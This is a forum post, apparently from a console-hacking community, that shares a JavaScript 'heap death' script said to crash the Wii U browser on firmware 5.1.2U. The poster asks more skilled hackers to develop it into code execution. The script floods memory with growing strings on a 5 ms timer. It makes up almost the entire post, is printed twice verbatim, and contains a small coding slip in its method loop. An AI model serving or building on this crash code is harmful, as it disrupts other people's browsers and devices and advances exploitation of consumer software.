- Joined
- Sep 16, 2014
- Messages
- 661
- Trophies
- 0
- Age
- 24
- Location
- Rosalina's Comet Observatory
- XP
- 1,124
- Country
This JavaScript code will crash the wii u internet browser on firmware 5.1.2U. This was taken from crashmybrowser.com Navigate here with the wii u browser, then select "Heap death of the blogoverse". I was so looking forward to modding Mario Kart 8 with the original browser exploit, but I carlessly updated my wii u to 5.1.2. Maybe some of the more expert hackers can turn this JS code into a way of running C code and eventually game hacking!
function Test_HeapDeath ()
{
(function () {
'use strict';
var i,
methods = [
'quote', 'substring', 'toLowerCase', 'toUpperCase', 'charAt',
'charCodeAt', 'indexOf', 'lastIndexOf', 'startsWith', 'endsWith',
'trim', 'trimLeft', 'trimRight', 'toLocaleLowerCase',
'toLocaleUpperCase', 'localeCompare', 'match', 'search',
'replace', 'split', 'substr', 'concat', 'slice'
],
methodCount = methods.length,
assignStringGeneric = function (methodName) {
var method = String.prototype[methodName];
String[methodName] = function (arg1) {
return method.apply(arg1, Array.prototype.slice.call(arguments, 1));
};
};
for (i = 0; i < methodCount; i++) {
assignStringGeneric(methods);
}
}());
x = '0123456789';
for ( i = 0; i < 22; i++ ) { x = x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256)) + x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256)); }
setInterval(_HeapDeath, 5);
}
function _HeapDeath ()
{
x = [x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256)), x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256))];
}
Test_HeapDeath();
function Test_HeapDeath ()
{
(function () {
'use strict';
var i,
methods = [
'quote', 'substring', 'toLowerCase', 'toUpperCase', 'charAt',
'charCodeAt', 'indexOf', 'lastIndexOf', 'startsWith', 'endsWith',
'trim', 'trimLeft', 'trimRight', 'toLocaleLowerCase',
'toLocaleUpperCase', 'localeCompare', 'match', 'search',
'replace', 'split', 'substr', 'concat', 'slice'
],
methodCount = methods.length,
assignStringGeneric = function (methodName) {
var method = String.prototype[methodName];
String[methodName] = function (arg1) {
return method.apply(arg1, Array.prototype.slice.call(arguments, 1));
};
};
for (i = 0; i < methodCount; i++) {
assignStringGeneric(methods);
}
}());
x = '0123456789';
for ( i = 0; i < 22; i++ ) { x = x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256)) + x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256)); }
setInterval(_HeapDeath, 5);
}
function _HeapDeath ()
{
x = [x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256)), x.slice(0) + String.charCodeAt(Math.floor(Math.random() * 256))];
}
Test_HeapDeath();